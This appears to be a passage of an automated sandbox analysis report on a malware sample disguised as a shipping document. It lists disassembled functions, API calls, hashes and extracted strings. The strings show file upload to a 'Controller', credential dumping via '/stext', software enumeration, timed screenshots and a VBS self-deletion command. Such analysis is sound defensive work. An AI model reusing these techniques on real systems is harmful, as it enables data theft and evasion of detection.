                                                                                        • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                                                                                        • Opcode Fuzzy Hash: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
                                                                                        • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                                                                                        Function 00414D86 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 109libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                                                                                        • LoadLibraryA.KERNEL32(?), ref: 00414E17
                                                                                        • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                                                                                        • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                                                                                        • LoadLibraryA.KERNEL32(?), ref: 00414E76
                                                                                        • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                                                                                        • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                                                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                                                                                        • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                                                        • String ID: IA$\ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                                                        • API String ID: 2490988753-1941338355
                                                                                        • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                                                                                        • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                                                                                        • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                                                                                        • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                                                                                        Function 0044F42D Relevance: 25.9, APIs: 17, Instructions: 419COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$EnvironmentVariable$_wcschr
                                                                                        • String ID:
                                                                                        • API String ID: 3899193279-0
                                                                                        • Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                                                                                        • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                                                                                        • Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                                                                                        • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                                                                                        Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                                                                                          • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                                                                          • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 0041857E
                                                                                          • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 00418587
                                                                                        • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                                                                                        • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                                                                                        • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                                                                                        • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                                                                                        • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                                                                                        • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                                                                                        • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                                                                                        • Sleep.KERNEL32(00000064), ref: 00412E94
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                                                        • String ID: /stext "$0TG$0TG$NG$NG
                                                                                        • API String ID: 1223786279-2576077980
                                                                                        • Opcode ID: 2986c19d5eff0671da4a124577a32cf2d74727819232519ecdbd70d3c5314773
                                                                                        • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                                                                                        • Opcode Fuzzy Hash: 2986c19d5eff0671da4a124577a32cf2d74727819232519ecdbd70d3c5314773
                                                                                        • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                                                                                        Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                                                                                        • RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041C6F5
                                                                                        • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseEnumOpen
                                                                                        • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                                                                        • API String ID: 1332880857-3714951968
                                                                                        • Opcode ID: 131f557390299a5fb98f0b65c13fdfd9cb57ca643134b75c275777f897c8710a
                                                                                        • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                                                                                        • Opcode Fuzzy Hash: 131f557390299a5fb98f0b65c13fdfd9cb57ca643134b75c275777f897c8710a
                                                                                        • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                                                                                        Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                                                                                        • GetCursorPos.USER32(?), ref: 0041D5E9
                                                                                        • SetForegroundWindow.USER32(?), ref: 0041D5F2
                                                                                        • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                                                                                        • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                                                                                        • ExitProcess.KERNEL32 ref: 0041D665
                                                                                        • CreatePopupMenu.USER32 ref: 0041D66B
                                                                                        • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                                                        • String ID: Close
                                                                                        • API String ID: 1657328048-3535843008
                                                                                        • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                                                                        • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                                                                                        • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                                                                        • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                                                                                        Function 00404E26 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 65synchronizationCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                                                                        • SetEvent.KERNEL32(?), ref: 00404E43
                                                                                        • CloseHandle.KERNEL32(?), ref: 00404E4C
                                                                                        • closesocket.WS2_32(?), ref: 00404E5A
                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404E91
                                                                                        • SetEvent.KERNEL32(?), ref: 00404EA2
                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404EA9
                                                                                        • SetEvent.KERNEL32(?), ref: 00404EBA
                                                                                        • CloseHandle.KERNEL32(?), ref: 00404EBF
                                                                                        • CloseHandle.KERNEL32(?), ref: 00404EC4
                                                                                        • SetEvent.KERNEL32(?), ref: 00404ED1
                                                                                        • CloseHandle.KERNEL32(?), ref: 00404ED6
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 3658366068-263838557
                                                                                        • Opcode ID: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
                                                                                        • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                                                                                        • Opcode Fuzzy Hash: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
                                                                                        • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                                                                                        Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$Info
                                                                                        • String ID:
                                                                                        • API String ID: 2509303402-0
                                                                                        • Opcode ID: 5c7b1bf4f475568e38e69d940d0222fa4f9c7dd3754b5f784b0771feacd0cc66
                                                                                        • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                                                                                        • Opcode Fuzzy Hash: 5c7b1bf4f475568e38e69d940d0222fa4f9c7dd3754b5f784b0771feacd0cc66
                                                                                        • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                                                                                        Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 00408CE3
                                                                                        • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                                                                                        • __aulldiv.LIBCMT ref: 00408D4D
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                                                                                        • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00408F64
                                                                                        • CloseHandle.KERNEL32(00000000,00000052), ref: 00408FAE
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                                                                                        • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                                                                                        • API String ID: 3086580692-2582957567
                                                                                        • Opcode ID: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
                                                                                        • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                                                                                        • Opcode Fuzzy Hash: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
                                                                                        • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                                                                                        Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • Sleep.KERNEL32(00001388), ref: 0040A740
                                                                                          • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A74D), ref: 0040A6AB
                                                                                          • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                                                                          • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                                                                          • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000,?,?,?,0040A74D), ref: 0040A6EE
                                                                                        • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                                                                                        • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                                                                                        • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                                                                                        • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 0040A81E
                                                                                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                        • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,00000000,00000000,00000000), ref: 0040A927
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                                                        • String ID: 8SG$8SG$pQG$pQG$PG$PG
                                                                                        • API String ID: 3795512280-1152054767
                                                                                        • Opcode ID: f9bf0f70ca639f6d962135a3ade2805c3c6b71e3802994e37fdf4666e5df7246
                                                                                        • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                                                                                        • Opcode Fuzzy Hash: f9bf0f70ca639f6d962135a3ade2805c3c6b71e3802994e37fdf4666e5df7246
                                                                                        • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                                                                                        Function 004048C8 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 144networkCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • connect.WS2_32(?,?,?), ref: 004048E0
                                                                                        • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                                                                                        • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                                                                                        • WSAGetLastError.WS2_32 ref: 00404A21
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                                                                        • String ID: Connection Failed: $Connection Refused$PkGNG$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                                                        • API String ID: 994465650-3229884001
                                                                                        • Opcode ID: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
                                                                                        • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                                                                                        • Opcode Fuzzy Hash: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
                                                                                        • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                                                                                        Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ___free_lconv_mon.LIBCMT ref: 0045130A
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                                                                                          • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                                                                                        • _free.LIBCMT ref: 004512FF
                                                                                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                        • _free.LIBCMT ref: 00451321
                                                                                        • _free.LIBCMT ref: 00451336
                                                                                        • _free.LIBCMT ref: 00451341
                                                                                        • _free.LIBCMT ref: 00451363
                                                                                        • _free.LIBCMT ref: 00451376
                                                                                        • _free.LIBCMT ref: 00451384
                                                                                        • _free.LIBCMT ref: 0045138F
                                                                                        • _free.LIBCMT ref: 004513C7
                                                                                        • _free.LIBCMT ref: 004513CE
                                                                                        • _free.LIBCMT ref: 004513EB
                                                                                        • _free.LIBCMT ref: 00451403
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                        • String ID:
                                                                                        • API String ID: 161543041-0
                                                                                        • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                                                        • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                                                                                        • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                                                        • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                                                                                        Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __EH_prolog.LIBCMT ref: 00419FB9
                                                                                        • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                                                                                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                                                                                        • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                                                                                        • GetLocalTime.KERNEL32(?), ref: 0041A105
                                                                                        • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                                                                        • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                                                                                        • API String ID: 489098229-1431523004
                                                                                        • Opcode ID: a44948d284f133504734d697ca6f7e31c11da472c88381ebf6f8b069d30e9c47
                                                                                        • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                                                                                        • Opcode Fuzzy Hash: a44948d284f133504734d697ca6f7e31c11da472c88381ebf6f8b069d30e9c47
                                                                                        • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                                                                                        Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                                                                          • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                                                                          • Part of subcall function 004136F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 00413714
                                                                                          • Part of subcall function 004136F8: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 0041372D
                                                                                          • Part of subcall function 004136F8: RegCloseKey.ADVAPI32(?), ref: 00413738
                                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                                                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                                                                                        • ExitProcess.KERNEL32 ref: 0040D9C4
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                                                        • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                                                        • API String ID: 1913171305-3159800282
                                                                                        • Opcode ID: 523fac73997d54481d8aebdb5cb67a2a0406e130f2c03ac9efc8718d19fe164d
                                                                                        • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                                                                                        • Opcode Fuzzy Hash: 523fac73997d54481d8aebdb5cb67a2a0406e130f2c03ac9efc8718d19fe164d
                                                                                        • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                                                                                        Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free
                                                                                        • String ID:
                                                                                        • API String ID: 269201875-0
                                                                                        • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                                                                                        • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                                                                                        • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                                                                                        • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                                                                                        Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000,?,00455C84,00000000,0000000C), ref: 004558C6
                                                                                        • GetLastError.KERNEL32 ref: 00455CEF
                                                                                        • __dosmaperr.LIBCMT ref: 00455CF6
                                                                                        • GetFileType.KERNEL32(00000000), ref: 00455D02
                                                                                        • GetLastError.KERNEL32 ref: 00455D0C
                                                                                        • __dosmaperr.LIBCMT ref: 00455D15
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00455D35
                                                                                        • CloseHandle.KERNEL32(?), ref: 00455E7F
                                                                                        • GetLastError.KERNEL32 ref: 00455EB1
                                                                                        • __dosmaperr.LIBCMT ref: 00455EB8
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                        • String ID: H
                                                                                        • API String ID: 4237864984-2852464175
                                                                                        • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                                                                                        • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                                                                                        • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                                                                                        • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                                                                                        Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
